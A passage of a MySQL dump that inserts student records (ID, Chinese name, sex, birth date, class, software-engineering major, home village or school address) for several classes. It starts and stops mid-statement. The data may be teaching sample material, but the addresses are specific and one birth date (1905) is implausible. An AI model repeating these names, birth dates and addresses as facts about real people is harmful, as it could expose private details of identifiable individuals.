('2007030201', '于小胖', '男', '1988-05-10', '20070302', '软件工程系 ', '计算机网络技术 ', '青岛平度仁兆镇于家泊村');INSERT INTO `student` VALUES ('2007030202', '张亮亮', '男', '1989-01-19', '20070302', '软件工程系 ', '计算机网络技术 ', '枣庄市中区西王庄乡中心校');INSERT INTO `student` VALUES ('2007030203', '吴玉颖 ', '女', '1989-09-21', '20070302', '软件工程系 ', '计算机网络技术 ', '威海乳山市白沙滩镇孔家庄');INSERT INTO `student` VALUES ('2007030204', '王丹妮 ', '女', '1986-02-28', '20070302', '软件工程系 ', '计算机网络技术 ', '济宁汶上县南站镇黄店北村');INSERT INTO `student` VALUES ('2007030205', '时盛开', '男', '1987-09-19', '20070302', '软件工程系 ', '计算机网络技术 ', '济宁汶上县中都大街47号');INSERT INTO `student` VALUES ('2007030206', '王大妮', '女', '1988-11-24', '20070302', '软件工程系 ', '计算机网络技术 ', '威海乳山市崖子镇东庄村');INSERT INTO `student` VALUES ('2007030207', '王美丽', '女', '1989-11-29', '20070302', '软件工程系 ', '计算机网络技术 ', '青岛崂山区中韩镇东韩村');INSERT INTO `student` VALUES ('2007030208', '李睿', '男', '1988-10-21', '20070302', '软件工程系 ', '计算机网络技术 ', '临沂平邑县平邑亚欧学校');INSERT INTO `student` VALUES ('2007030209', '王新新', '男', '1988-09-11', '20070302', '软件工程系 ', '计算机网络技术 ', '台安县第二高级中学三年五班');INSERT INTO `student` VALUES ('2007030210', '赵秋玲', '女', '1988-08-24', '20070302', '软件工程系 ', '计算机网络技术 ', '烟台龙口市一职');INSERT INTO `student` VALUES ('2007030211', '季明明', '男', '1989-01-16', '20070302', '软件工程系 ', '计算机网络技术 ', '临沂沂南县沂南二中二分校');INSERT INTO `student` VALUES ('2007030212', '田强', '男', '1987-10-09', '20070302', '软件工程系 ', '计算机网络技术 ', '济宁鱼台县李阁镇任寺村');INSERT INTO `student` VALUES ('2007030213', '齐刚', '男', '1987-03-15', '20070302', '软件工程系 ', '计算机网络技术 ', '烟台龙口市石良镇东庄头村');INSERT INTO `student` VALUES ('2007030214', '刘冰', '男', '1986-06-19', '20070302', '软件工程系 ', '计算机网络技术 ', '淄博沂源县沂源二中');INSERT INTO `student` VALUES ('2007030215', '李文启', '男', '1988-02-13', '20070302', '软件工程系 ', '计算机网络技术 ', '临沂蒙阴县蒙阴镇谭家召子村');INSERT INTO `student` VALUES ('2007030216', '刘英美', '女', '1984-01-05', '20070302', '软件工程系 ', '计算机网络技术 ', '菏泽单县职业中专');INSERT INTO `student` VALUES ('2007030217', '李健康', '男', '1989-01-08', '20070302', '软件工程系 ', '计算机网络技术 ', '济南历城区农科院作物所');INSERT INTO `student` VALUES ('2007030218', '苏壮壮', '男', '1989-01-20', '20070302', '软件工程系 ', '计算机网络技术 ', '青岛胶南市胶河镇中心中学传达室');INSERT INTO `student` VALUES ('2007030219', '刘亮亮', '男', '1989-09-10', '20070302', '软件工程系 ', '计算机网络技术 ', '菏泽牡丹区22中家属院');INSERT INTO `student` VALUES ('2007030220', '王磊', '男', '1989-03-10', '20070302', '软件工程系 ', '计算机网络技术 ', '临沂苍山县卞庄镇一中');INSERT INTO `student` VALUES ('2007030221', '古乐乐', '男', '1905-06-14', '20070302', '软件工程系 ', '计算机网络技术 ', '辽宁省大石桥市二高中');INSERT INTO `student` VALUES ('2007030222', '刘珍玲', '女', '1988-07-08', '20070302', '软件工程系 ', '计算机网络技术 ', '烟台芝罘区烟台市芝罘区');INSERT INTO `student` VALUES ('2007030223', '孙孟娇', '女', '1989-02-19', '20070302', '软件工程系 ', '计算机网络技术 ', '济宁微山县马坡乡荆冢集北村');INSERT INTO `student` VALUES ('2007030224', '石磊', '男', '1988-02-16', '20070302', '软件工程系 ', '计算机网络技术 ', '泰安肥城市肥城矿业集团公司中学');INSERT INTO `student` VALUES ('2007030225', '朱李记', '男', '1989-03-01', '20070302', '软件工程系 ', '计算机网络技术 ', '潍坊安丘市景芝镇朱家沙浯村');INSERT INTO `student` VALUES ('2007030226', '牟小刚 ', '男', '1987-06-20', '20070302', '软件工程系 ', '计算机网络技术 ', '日照五莲县一中');INSERT INTO `student` VALUES ('2007030227', '吴达', '男', '1987-03-23', '20070302', '软件工程系 ', '计算机网络技术 ', '菏泽鄄城县第一中学');INSERT INTO `student` VALUES ('2007030228', '赵龙龙', '男', '1987-12-28', '20070302', '软件工程系 ', '计算机网络技术 ', '潍坊昌乐县城关街道蓝宝石');INSERT INTO `student` VALUES ('2007030229', '任丽丽', '女', '1987-04-24', '20070302', '软件工程系 ', '计算机网络技术 ', '泰安岱岳区泰安四中');INSERT INTO `student` VALUES ('2007030230', '李冰冰', '男', '1987-04-18', '20070302', '软件工程系 ', '计算机网络技术 ', '济宁汶上县苑庄镇中小秦村');INSERT INTO `student` VALUES ('2007030231', '朱小龙', '男', '1987-12-23', '20070302', '软件工程系 ', '计算机网络技术 ', '大连市旅顺口区东安路(三涧段)455号');INSERT INTO `student` VALUES ('2007030232', '杨尼尼', '女', '1989-06-23', '20070302', '软件工程系 ', '计算机网络技术 ', '泰安岱岳区泰安市岱岳区山口镇成教中心');INSERT INTO `student` VALUES ('2007030233', '杨小妮', '女', '1988-11-03', '20070302', '软件工程系 ', '计算机网络技术 ', '菏泽单县职业中专');INSERT INTO `student` VALUES ('2007030234', '苏磊', '男', '1988-09-05', '20070302', '软件工程系 ', '计算机网络技术 ', '德州夏津县夏津镇苦水村');INSERT INTO `student` VALUES ('2007030235', '苏大萌 ', '女', '1987-12-04', '20070302', '软件工程系 ', '计算机网络技术 ', '菏泽牡丹区立交桥生活小区');INSERT INTO `student` VALUES ('2007030236', '苟小宇', '男', '1986-10-09', '20070302', '软件工程系 ', '计算机网络技术 ', '泰安新泰市新汶矿业集团一中');INSERT INTO `student` VALUES ('2007030237', '时庆勇', '女', '1988-12-13', '20070302', '软件工程系 ', '计算机网络技术 ', '青岛城阳区上马街道青岛东风盐场');INSERT INTO `student` VALUES ('2007030238', '困难', '男', '1989-02-10', '20070302', '软件工程系 ', '计算机网络技术 ', '泰安岱岳区泰安市三职专');INSERT INTO `student` VALUES ('2007030239', '姚明艳', '女', '1987-04-04', '20070302', '软件工程系 ', '计算机网络技术 ', '烟台开发区高级中学');INSERT INTO `student` VALUES ('2007030240', '胡一天', '男', '1989-11-12', '20070302', '软件工程系 ', '计算机网络技术 ', '临沂罗庄区商业街路');INSERT INTO `student` VALUES ('2007030241', '秦勇', '男', '1987-02-18', '20070302', '软件工程系 ', '计算机网络技术 ', '潍坊安丘市石堆镇西王里居村');INSERT INTO `student` VALUES ('2007030242', '季小林 ', '男', '1986-08-05', '20070302', '软件工程系 ', '计算机网络技术 ', '泰安宁阳县东疏镇孙集村');INSERT INTO `student` VALUES ('2007030243', '徐龙明', '男', '1988-04-27', '20070302', '软件工程系 ', '计算机网络技术 ', '济宁梁山县韩垓镇油坊村');INSERT INTO `student` VALUES ('2007030244', '林强强', '男', '1988-01-27', '20070302', '软件工程系 ', '计算机网络技术 ', '临沂郯城县高峰头镇店子村');INSERT INTO `student` VALUES ('2007030245', '徐大白', '男', '1987-10-29', '20070302', '软件工程系 ', '计算机网络技术 ', '烟台海阳市行村镇东村庄');INSERT INTO `student` VALUES ('2007030246', '高亮亮', '男', '1988-12-16', '20070302', '软件工程系 ', '计算机网络技术 ', '潍坊奎文区民生东街');INSERT INTO `student` VALUES ('2007030247', '大鹏', '男', '1988-02-28', '20070302', '软件工程系 ', '计算机网络技术 ', '枣庄滕州市姜屯镇戚庄');INSERT INTO `student` VALUES ('2007030248', '谢顶顶', '男', '1989-01-30', '20070302', '软件工程系 ', '计算机网络技术 ', '泰安宁阳县宁阳镇富贵小区');INSERT INTO `student` VALUES ('2007030249', '张美艳 ', '女', '1984-06-18', '20070302', '软件工程系 ', '计算机网络技术 ', '菏泽单县职业中专');INSERT INTO `student` VALUES ('2007030250', '平丽丽', '女', '1989-06-01', '20070302', '软件工程系 ', '计算机网络技术 ', '济宁汶上县泉河大街');INSERT INTO `student` VALUES ('2007030301', '张军', '男', '1987-02-26', '20070303', '软件工程系 ', '计算机网络技术 ', '潍坊高密市高密市实验中学');INSERT INTO `student` VALUES ('2007030302', '刘海虎', '男', '1990-02-10', '20070303', '软件工程系 ', '计算机网络技术 ', '青岛市北区错埠岭4小区');INSERT INTO `student` VALUES ('2007030303', '孔子明', '男', '1987-10-16', '20070303', '软件工程系 ', '计算机网络技术 ', '枣庄滕州市姜屯镇前孔庄村');INSERT INTO `student` VALUES ('2007030304', '方芳', '女', '1988-09-11', '20070303', '软件工程系 ', '计算机网络技术 ', '济宁任城区李营镇李营村');INSERT INTO `student` VALUES ('2007030305', '田甜', '女', '1989-10-24', '20070303', '软件工程系 ', '计算机网络技术 ', '济宁任城区长沟镇崔庄村');INSERT INTO `student` VALUES ('2007030306', '王大强', '男', '1986-08-22', '20070303', '软件工程系 ', '计算机网络技术 ', '青岛即墨市第一中学');INSERT INTO `student` VALUES ('2007030307', '吕海亮', '男', '1987-10-12', '20070303', '软件工程系 ', '计算机网络技术 ', '潍坊寿光市一中');INSERT INTO `student` VALUES ('2007030308', '杨宁宁', '男', '1988-05-26', '20070303', '软件工程系 ', '计算机网络技术 ', '济南商河县一中');INSERT INTO `student` VALUES ('2007030309', '安凌凌', '女', '1989-01-20', '20070303', '软件工程系 ', '计算机网络技术 ', '威海荣成市石岛镇大鱼岛村四区');INSERT INTO `student` VALUES ('2007030310', '冉伟刚', '男', '1988-02-26', '20070303', '软件工程系 ', '计算机网络技术 ', '菏泽定陶县山东省成武县九女集镇郭庙村');INSERT INTO `student` VALUES ('2007030311', '唐鹏', '男', '1989-10-28', '20070303', '软件工程系 ', '计算机网络技术 ', '菏泽郓城县实验中学');INSERT INTO `student` VALUES ('2007030312', '李晓旭', '男', '1988-09-02', '20070303', '软件工程系 ', '计算机网络技术 ', '济南市中区建设路');INSERT INTO `student` VALUES ('2007030313', '李建', '男', '1989-08-04', '20070303', '软件工程系 ', '计算机网络技术 ', '滨州无棣县无棣镇石三里村');INSERT INTO `student` VALUES ('2007030314', '刘忠玉', '男', '1988-12-01', '20070303', '软件工程系 ', '计算机网络技术 ', '临沂蒙阴县常路镇富成庄村');INSERT INTO `student` VALUES ('2007030315', '李富豪', '男', '1987-09-15', '20070303', '软件工程系 ', '计算机网络技术 ', '潍坊昌邑市昌邑市第二中学');INSERT INTO `student` VALUES ('2007030316', '张姝', '女', '1987-07-18', '20070303', '软件工程系 ', '计算机网络技术 ', '青岛开发区红石崖镇雷家店子村');INSERT INTO `student` VALUES ('2007030317', '任小伟', '男', '1988-02-24', '20070303', '软件工程系 ', '计算机网络技术 ', '烟台海阳市东村镇电信局');INSERT INTO `student` VALUES ('2007030318', '朱海齐', '男', '1987-07-03', '20070303', '软件工程系 ', '计算机网络技术 ', '青岛平度市白埠镇和平村');INSERT INTO `student` VALUES ('2007030319', '成功', '男', '1988-09-18', '20070303', '软件工程系 ', '计算机网络技术 ', '河北定州中学016班');INSERT INTO `student` VALUES ('2007030320', '吴海峰', '女', '1989-03-07', '20070303', '软件工程系 ', '计算机网络技术 ', '日照岚山区岚山区后村镇焦家集村');INSERT INTO `student` VALUES ('2007030321', '孟健', '男', '1989-02-07', '20070303', '软件工程系 ', '计算机网络技术 ', '临沂蒙阴县蒙阴镇南官庄村');INSERT INTO `student` VALUES ('2007030322', '吴静静', '女', '1986-06-24', '20070303', '软件工程系 ', '计算机网络技术 ', '青岛即墨市丰城镇东百里村');INSERT INTO `student` VALUES ('2007030323', '宋爱华', '男', '1988-01-18', '20070303', '软件工程系 ', '计算机网络技术 ', '德州武城县第二中学');INSERT INTO `student` VALUES ('2007030324', '张锦程', '男', '1988-04-09', '20070303', '软件工程系 ', '计算机网络技术 ', '枣庄滕州市龙阳镇冯营村');INSERT INTO `student` VALUES ('2007030325', '李芳芳', '女', '1988-11-10', '20070303', '软件工程系 ', '计算机网络技术 ', '临沂蒙阴县界牌镇尚庄村');INSERT INTO `student` VALUES ('2007030326', '孙银', '男', '1988-02-01', '20070303', '软件工程系 ', '计算机网络技术 ', '临沂平邑县地方镇三山村');INSERT INTO `student` VALUES ('2007030327', '季小敏', '女', '1984-12-15', '20070303', '软件工程系 ', '计算机网络技术 ', '日照莒县浮来山镇后官庄村');INSERT INTO `student` VALUES ('2007030328', '张安鹏', '男', '1987-09-17', '20070303', '软件工程系 ', '计算机网络技术 ', '济宁梁山县徐集镇吴大庙村');INSERT INTO `student` VALUES ('2007030329', '孙星', '男', '1988-04-02', '20070303', '软件工程系 ', '计算机网络技术 ', '济宁任城区');INSERT INTO `student` VALUES ('2007030330', '孙亮', '男', '1987-03-05', '20070303', '软件工程系 ', '计算机网络技术 ', '潍坊昌邑市昌邑市第二中学');INSERT INTO `student` VALUES ('2007030331', '董新姝', '女', '1989-10-14', '20070303', '软件工程系 ', '计算机网络技术 ', '潍坊安丘市景芝镇吉台官庄村');INSERT INTO `student` VALUES ('2007030332', '张丽莉', '女', '1987-03-19', '20070303', '软件工程系 ', '计算机网络技术 ', '菏泽东明县陆圈镇郝桥村');INSERT INTO `student` VALUES ('2007030333', '朱凯凯', '男', '1989-03-25', '20070303', '软件工程系 ', '计算机网络技术 ', '潍坊昌乐县第一中学');INSERT INTO `student` VALUES ('2007030334', '张帅', '男', '1988-08-31', '20070303', '软件工程系 ', '计算机网络技术 ', '菏泽牡丹区吴店镇曹庄村937号');INSERT INTO `student` VALUES ('2007030335', '马艳红', '女', '1988-08-20', '20070303', '软件工程系 ', '计算机网络技术 ', '东营广饶县石村镇圈子村');INSERT INTO `student` VALUES ('2007030336', '高松松', '男', '1987-12-21', '20070303', '软件工程系 ', '计算机网络技术 ', '青岛平度市白埠镇李家埠子村8189号');INSERT INTO `student` VALUES ('2007030337', '田志', '男', '1987-09-26', '20070303', '软件工程系 ', '计算机网络技术 ', '青岛市北区浮山后四小区');INSERT INTO `student` VALUES ('2007030338', '吴琦', '男', '1987-09-11', '20070303', '软件工程系 ', '计算机网络技术 ', '潍坊昌邑市昌邑市第二中学');INSERT INTO `student` VALUES ('2007030339', '陆朋朋', '男', '1987-07-01', '20070303', '软件工程系 ', '计算机网络技术 ', '枣庄台儿庄区张山子镇鹿荒村');INSERT INTO `student` VALUES ('2007030340', '明丽丽 ', '女', '1987-10-27', '20070303', '软件工程系 ', '计算机网络技术 ', '河北省秦皇岛市青龙县第一中学');INSERT INTO `student` VALUES ('2007030341', '程度', '男', '1989-03-10', '20070303', '软件工程系 ', '计算机网络技术 ', '潍坊临朐县东城区杨家场村');INSERT INTO `student` VALUES ('2007030342', '王芳', '女', '1989-01-06', '20070303', '软件工程系 ', '计算机网络技术 ', '枣庄薛城区兴仁办事处');INSERT INTO `student` VALUES ('2007030343', '张东东', '男', '1988-10-30', '20070303', '软件工程系 ', '计算机网络技术 ', '潍坊临朐县营子镇董家崖村');INSERT INTO `student` VALUES ('2007030344', '韩乐', '男', '1988-02-10', '20070303', '软件工程系 ', '计算机网络技术 ', '潍坊坊子区潍坊十二中');INSERT INTO `student` VALUES ('2007030345', '于晓东', '男', '1989-11-06', '20070303', '软件工程系 ', '计算机网络技术 ', '德州禹城市职业中专');INSERT INTO `student` VALUES ('2007030401', '魏敏敏', '女', '1987-06-30', '20070304', '软件工程系 ', '软件技术 ', '烟台海阳市方圆街道办事处它山泊村7464号');INSERT INTO `student` VALUES ('2007030402', '金鑫 ', '男', '1990-06-27', '20070304', '软件工程系 ', '软件技术 ', '临沂平邑县财源南区');INSERT INTO `student` VALUES ('2007030403', '王凤霞', '女', '1986-01-16', '20070304', '软件工程系 ', '软件技术 ', '泰安东平县州城镇西门村');INSERT INTO `student` VALUES ('2007030404', '李刚', '男', '1989-04-05', '20070304', '软件工程系 ', '软件技术 ', '青岛城阳区明阳路6260号');INSERT INTO `student` VALUES ('2007030405', '马骊', '女', '1987-06-08', '20070304', '软件工程系 ', '软件技术 ', '济宁邹城市郭里镇经济园区3337号');INSERT INTO `student` VALUES ('2007030406', '张美玲', '女', '1988-01-01', '20070304', '软件工程系 ', '软件技术 ', '德州临邑县兴隆镇段店村');INSERT INTO `student` VALUES ('2007030407', '任晓亮', '男', '1989-12-01', '20070304', '软件工程系 ', '软件技术 ', '菏泽鄄城县第二中学');INSERT INTO `student` VALUES ('2007030408', '张志海', '男', '1986-09-20', '20070304', '软件工程系 ', '软件技术 ', '济宁微山县两城乡西单村');INSERT INTO `student` VALUES ('2007030409', '苏醒', '男', '1988-11-24', '20070304', '软件工程系 ', '软件技术 ', '青岛市北区宝应路');INSERT INTO `student` VALUES ('2007030410', '林晓芹', '女', '1986-02-16', '20070304', '软件工程系 ', '软件技术 ', '济宁梁山县馆驿镇西北楼村');INSERT INTO `student` VALUES ('2007030411', '王娇', '女', '1988-09-30', '20070304', '软件工程系 ', '软件技术 ', '潍坊昌乐县昌乐二中');INSERT INTO `student` VALUES ('2007030412', '孙奔奔', '男', '1989-04-30', '20070304', '软件工程系 ', '软件技术 ', '青岛即墨市第二中学');INSERT INTO `student` VALUES ('2007030413', '朱聪明', '男', '1989-10-08', '20070304', '软件工程系 ', '软件技术 ', '菏泽单县职业中专');INSERT INTO `student` VALUES ('2007030414', '唐晓明', '男', '1988-10-23', '20070304', '软件工程系 ', '软件技术 ', '聊城莘县董杜庄镇西吴家村');INSERT INTO `student` VALUES ('2007030415', '董鸿', '男', '1988-11-02', '20070304', '软件工程系 ', '软件技术 ', '济南历城区济南市历城第五中学');INSERT INTO `student` VALUES ('2007030416', '董莉莉 ', '女', '1985-05-27', '20070304', '软件工程系 ', '软件技术 ', '临沂平邑县郑城镇新元村');INSERT INTO `student` VALUES ('2007030417', '李明丽', '女', '1989-12-28', '20070304', '软件工程系 ', '软件技术 ', '济宁梁山县徐集镇才林村9104号');INSERT INTO `student` VALUES ('2007030418', '杨海峰', '男', '1988-03-14', '20070304', '软件工程系 ', '软件技术 ', '泰安泰山区邱家店温辛庄');INSERT INTO `student` VALUES ('2007030419', '赵美美', '女', '1989-09-20', '20070304', '软件工程系 ', '软件技术 ', '滨州无棣县水湾镇白杨村');INSERT INTO `student` VALUES ('2007030420', '季小飞', '男', '1989-03-12', '20070304', '软件工程系 ', '软件技术 ', '济南商河县二中');INSERT INTO `student` VALUES ('2007030421', '齐凯', '男', '1987-09-18', '20070304', '软件工程系 ', '软件技术 ', '菏泽曹县曹城镇李楼寨行政村');INSERT INTO `student` VALUES ('2007030422', '区海洋', '男', '1989-04-08', '20070304', '软件工程系 ', '软件技术 ', '济宁任城区李营镇李庄村');INSERT INTO `student` VALUES ('2007030423', '杜林', '男', '1987-06-19', '20070304', '软件工程系 ', '软件技术 ', '威海市高区天津路');INSERT INTO `student` VALUES ('2007030424', '秦陆', '男', '1987-06-04', '20070304', '软件工程系 ', '软件技术 ', '德州武城县郝王庄镇聂官屯村034号');INSERT INTO `student` VALUES ('2007030425', '苏伟刚', '男', '1987-11-26', '20070304', '软件工程系 ', '软件技术 ', '潍坊寒亭区一中');INSERT INTO `student` VALUES ('2007030426', '张美凤', '女', '1987-09-06', '20070304', '软件工程系 ', '软件技术 ', '潍坊高密市第四中学');INSERT INTO `student` VALUES ('2007030427', '吴刚', '男', '1988-02-03', '20070304', '软件工程系 ', '软件技术 ', '菏泽鄄城县第二中学驻城校区');INSERT INTO `student` VALUES ('2007030428', '张楠', '男', '1987-09-28', '20070304', '软件工程系 ', '软件技术 ', '临沂临沭县临沭县第二小学');INSERT INTO `student` VALUES ('2007030429', '时晓光', '女', '1988-10-20', '20070304', '软件工程系 ', '软件技术 ', '济南平阴县一中东校文三班');INSERT INTO `student` VALUES ('2007030430', '林海源', '男', '1987-09-20', '20070304', '软件工程系 ', '软件技术 ', '潍坊潍城区北宫西街205号潍坊一职专');INSERT INTO `student` VALUES ('2007030431', '林海峰', '男', '1989-01-29', '20070304', '软件工程系 ', '软件技术 ', '枣庄滕州市西岗镇柴里矿装修公司');INSERT INTO `student` VALUES ('2007030432', '朱量', '男', '1987-10-25', '20070304', '软件工程系 ', '软件技术 ', '聊城莘县实验高中');INSERT INTO `student` VALUES ('2007030433', '闫凯凯', '男', '1989-11-17', '20070304', '软件工程系 ', '软件技术 ', '泰安肥城市泰西中学美术组');INSERT INTO `student` VALUES ('2007030434', '李亮亮', '男', '1987-01-14', '20070304', '软件工程系 ', '软件技术 ', '济南槐荫区宋园新区');INSERT INTO `student` VALUES ('2007030435', '赵恺', '男', '1988-03-16', '20070304', '软件工程系 ', '软件技术 ', '潍坊安丘市景芝镇庆安北村');INSERT INTO `student` VALUES ('2007030436', '张晓栋', '男', '1988-08-20', '20070304', '软件工程系 ', '软件技术 ', '青岛胶南市大场镇后老窝149号');INSERT INTO `student` VALUES ('2007030437', '郭城', '男', '1988-02-20', '20070304', '软件工程系 ', '软件技术 ', '菏泽牡丹区吴店镇二郎庙村');INSERT INTO `student` VALUES ('2007030438', '郭小峰', '男', '1986-12-21', '20070304', '软件工程系 ', '软件技术 ', '潍坊寿光市潍坊科技职业学院');INSERT INTO `student` VALUES ('2007030439', '李国峰', '男', '1988-12-25', '20070304', '软件工程系 ', '软件技术 ', '烟台海阳市东村街道初格庄村1824号');INSERT INTO `student` VALUES ('2007030440', '李林葶 ', '女', '1988-03-25', '20070304', '软件工程系 ', '软件技术 ', '潍坊安丘市管公镇高家辛庄子村');INSERT INTO `student` VALUES ('2007030441', '李林菲', '女', '1988-02-09', '20070304', '软件工程系 ', '软件技术 ', '烟台龙口市一职');INSERT INTO `student` VALUES ('2007030442', '李海霞', '女', '1989-06-01', '20070304', '软件工程系 ', '软件技术 ', '临沂平邑县一中保卫科');INSERT INTO `student` VALUES ('2007030443', '秦芳芳', '女', '1987-12-28', '20070304', '软件工程系 ', '软件技术 ', '济南商河县二中');INSERT INTO `student` VALUES ('2007030444', '董震', '男', '1988-10-24', '20070304', '软件工程系 ', '软件技术 ', '德州夏津县宋楼镇靳庄村196号');INSERT INTO `student` VALUES ('2007030445', '裴明', '男', '1987-08-25', '20070304', '软件工程系 ', '软件技术 ', '烟台莱州市城港路街道朱旺村');INSERT INTO `student` VALUES ('2007030446', '胡丽丽', '女', '1988-05-01', '20070304', '软件工程系 ', '软件技术 ', '潍坊昌乐县昌乐二中');INSERT INTO `student` VALUES ('2007030447', '安浩', '男', '1991-01-01', '20070304', '软件工程系 ', '软件技术 ', '济南市');INSERT INTO `student` VALUES ('2007030501', '王红', '女', '1988-08-05', '20070305', '软件工程系 ', '软件技术(动漫方向)', '东营利津县二中');INSERT INTO `student` VALUES ('2007030502', '张小勇', '男', '1987-11-30', '20070305', '软件工程系 ', '软件技术(动漫方向)', '潍坊奎文区奎文区廿里堡办事处王家庄村');INSERT INTO `student` VALUES ('2007030503', '马小栋', '男', '1988-10-10', '20070305', '软件工程系 ', '软件技术(动漫方向)', '泰安新泰市实验中学高中部校长室');INSERT INTO `student` VALUES ('2007030504', '马凯', '男', '1988-09-07', '20070305', '软件工程系 ', '软件技术(动漫方向)', '济宁市中区常青路0016号');INSERT INTO `student` VALUES ('2007030505', '田亮亮', '男', '1988-06-20', '20070305', '软件工程系 ', '软件技术(动漫方向)', '枣庄滕州市滕州日报社田璐');INSERT INTO `student` VALUES ('2007030506', '刘庆祝', '男', '1988-06-22', '20070305', '软件工程系 ', '软件技术(动漫方向)', '临沂蒙阴县垛庄镇四十亩地村');INSERT INTO `student` VALUES ('2007030507', '安丽丽', '女', '1988-12-13', '20070305', '软件工程系 ', '软件技术(动漫方向)', '临沂费县石井镇同兴村');INSERT INTO `student` VALUES ('2007030508', '安晓南', '男', '1988-12-15', '20070305', '软件工程系 ', '软件技术(动漫方向)', '青岛城阳区城阳一中');INSERT INTO `student` VALUES ('2007030509', '张晓', '女', '1989-09-21', '20070305', '软件工程系 ', '软件技术(动漫方向)', '潍坊安丘市职业中专');INSERT INTO `student` VALUES ('2007030510', '车美', '女', '1988-04-29', '20070305', '软件工程系 ', '软件技术(动漫方向)', '威海市直火炬路177号威海信息工程学校');INSERT INTO `student` VALUES ('2007030511', '林东东', '男', '1988-10-30', '20070305', '软件工程系 ', '软件技术(动漫方向)', '潍坊诸城市昌城镇大庄家河岔村');INSERT INTO `student` VALUES ('2007030512', '林一莲', '女', '1988-07-12', '20070305', '软件工程系 ', '软件技术(动漫方向)', '菏泽成武县山东省成武县前程职业高中');INSERT INTO `student` VALUES ('2007030513', '林小菊', '女', '1988-10-26', '20070305', '软件工程系 ', '软件技术(动漫方向)', '聊城莘县职业中专');INSERT INTO `student` VALUES ('2007030514', '何伟', '男', '1988-04-20', '20070305', '软件工程系 ', '软件技术(动漫方向)', '济宁汶上县尚书路西');INSERT INTO `student` VALUES ('2007030515', '何欣桐', '男', '1988-05-12', '20070305', '软件工程系 ', '软件技术(动漫方向)', '泰安泰山区泰安长城中学');INSERT INTO `student` VALUES ('2007030516', '何林林', '女', '1988-03-22', '20070305', '软件工程系 ', '软件技术(动漫方向)', '潍坊临朐县卧龙镇孔家庄村');INSERT INTO `student` VALUES ('2007030517', '葛亮朋', '男', '1987-09-28', '20070305', '软件工程系 ', '软件技术(动漫方向)', '潍坊潍城区城关芙蓉街太平街小区');INSERT INTO `student` VALUES ('2007030518', '张亚男 ', '女', '1989-08-05', '20070305', '软件工程系 ', '软件技术(动漫方向)', '青岛莱西市成人中等专业学校');INSERT INTO `student` VALUES ('2007030519', '张扬', '男', '1988-08-22', '20070305', '软件工程系 ', '软件技术(动漫方向)', '临沂蒙阴县联城乡金城路??号');INSERT INTO `student` VALUES ('2007030520', '张腾', '男', '1988-02-01', '20070305', '软件工程系 ', '软件技术(动漫方向)', '潍坊安丘市第五中学');INSERT INTO `student` VALUES ('2007030521', '张跃', '男', '1988-11-28', '20070305', '软件工程系 ', '软件技术(动漫方向)', '临沂沂南县沂南二中');INSERT INTO `student` VALUES ('2007030522', '张丽丽', '女', '1988-03-14', '20070305', '软件工程系 ', '软件技术(动漫方向)', '滨州滨城区黄河三路');INSERT INTO `student` VALUES ('2007030523', '杨杨', '男', '1986-09-03', '20070305', '软件工程系 ', '软件技术(动漫方向)', '菏泽鄄城县第二中学');INSERT INTO `student` VALUES ('2007030524', '杨伟民 ', '男', '1990-03-16', '20070305', '软件工程系 ', '软件技术(动漫方向)', '潍坊昌乐县昌乐一中十六班');INSERT INTO `student` VALUES ('2007030525', '陆路', '男', '1988-07-01', '20070305', '软件工程系 ', '软件技术(动漫方向)', '枣庄滕州市级索镇后牛集村');INSERT INTO `student` VALUES ('2007030526', '陆彩英', '女', '1990-07-11', '20070305', '软件工程系 ', '软件技术(动漫方向)', '泰安宁阳县蒋集镇前才村');INSERT INTO `student` VALUES ('2007030527', '张慧', '女', '1989-06-07', '20070305', '软件工程系 ', '软件技术(动漫方向)', '潍坊诸城市诸城四中');INSERT INTO `student` VALUES ('2007030528', '张茂兴', '男', '1988-12-26', '20070305', '软件工程系 ', '软件技术(动漫方向)', '烟台牟平区三中');INSERT INTO `student` VALUES ('2007030529', '张大鹏', '男', '1987-03-09', '20070305', '软件工程系 ', '软件技术(动漫方向)', '德州平原县平原镇北街村17号');INSERT INTO `student` VALUES ('2007030530', '张莉茹', '女', '1987-10-18', '20070305', '软件工程系 ', '软件技术(动漫方向)', '威海文登市新一中');INSERT INTO `student` VALUES ('2007030531', '赵小天', '男', '1987-10-24', '20070305', '软件工程系 ', '软件技术(动漫方向)', '潍坊临朐县南关村大桥街');INSERT INTO `student` VALUES ('2007030532', '赵文晖', '男', '1989-02-04', '20070305', '软件工程系 ', '软件技术(动漫方向)', '烟台芝罘区');INSERT INTO `student` VALUES ('2007030533', '赵武斌', '男', '1988-08-12', '20070305', '软件工程系 ', '软件技术(动漫方向)', '日照五莲县一中');INSERT INTO `student` VALUES ('2007030534', '董胜利 ', '男', '1987-02-09', '20070305', '软件工程系 ', '软件技术(动漫方向)', '潍坊昌乐县第三职业中专');INSERT INTO `student` VALUES ('2007030535', '董晓敏', '女', '1988-02-07', '20070305', '软件工程系 ', '软件技术(动漫方向)', '济南章丘市第四中学');INSERT INTO `student` VALUES ('2007030536', '董璇', '女', '1989-06-21', '20070305', '软件工程系 ', '软件技术(动漫方向)', '菏泽成武县山东省成武县前程职业高中');INSERT INTO `student` VALUES ('2007030537', '葛天壮', '男', '1987-08-01', '20070305', '软件工程系 ', '软件技术(动漫方向)', '菏泽鄄城县鄄城县职教中心');INSERT INTO `student` VALUES ('2007030538', '林丽丽', '女', '1989-08-10', '20070305', '软件工程系 ', '软件技术(动漫方向)', '烟台芝罘区北皂村西北街');INSERT INTO `student` VALUES ('2007030539', '林繁', '男', '1987-07-28', '20070305', '软件工程系 ', '软件技术(动漫方向)', '淄博沂源县第一中学');INSERT INTO `student` VALUES ('2007030540', '林莉', '女', '1989-09-01', '20070305', '软件工程系 ', '软件技术(动漫方向)', '济宁嘉祥县嘉祥镇贾桥村');INSERT INTO `student` VALUES ('2007030541', '崔小玲', '女', '1989-03-05', '20070305', '软件工程系 ', '软件技术(动漫方向)', '青岛莱西市成人中等专业学校');INSERT INTO `student` VALUES ('2007030542', '崔晓光', '男', '1988-01-19', '20070305', '软件工程系 ', '软件技术(动漫方向)', '山东省禹城市房寺棉厂家属院');INSERT INTO `student` VALUES ('2007030543', '崔阳鹏', '男', '1988-09-02', '20070305', '软件工程系 ', '软件技术(动漫方向)', '烟台芝罘区南迎祥路');INSERT INTO `student` VALUES ('2007030544', '裴晓丽', '女', '1985-02-02', '20070305', '软件工程系 ', '软件技术(动漫方向)', '菏泽东明县刘楼镇焦楼村');INSERT INTO `student` VALUES ('2007030545', '裴艺璇', '女', '1987-06-06', '20070305', '软件工程系 ', '软件技术(动漫方向)', '济宁市中区军分区');INSERT INTO `student` VALUES 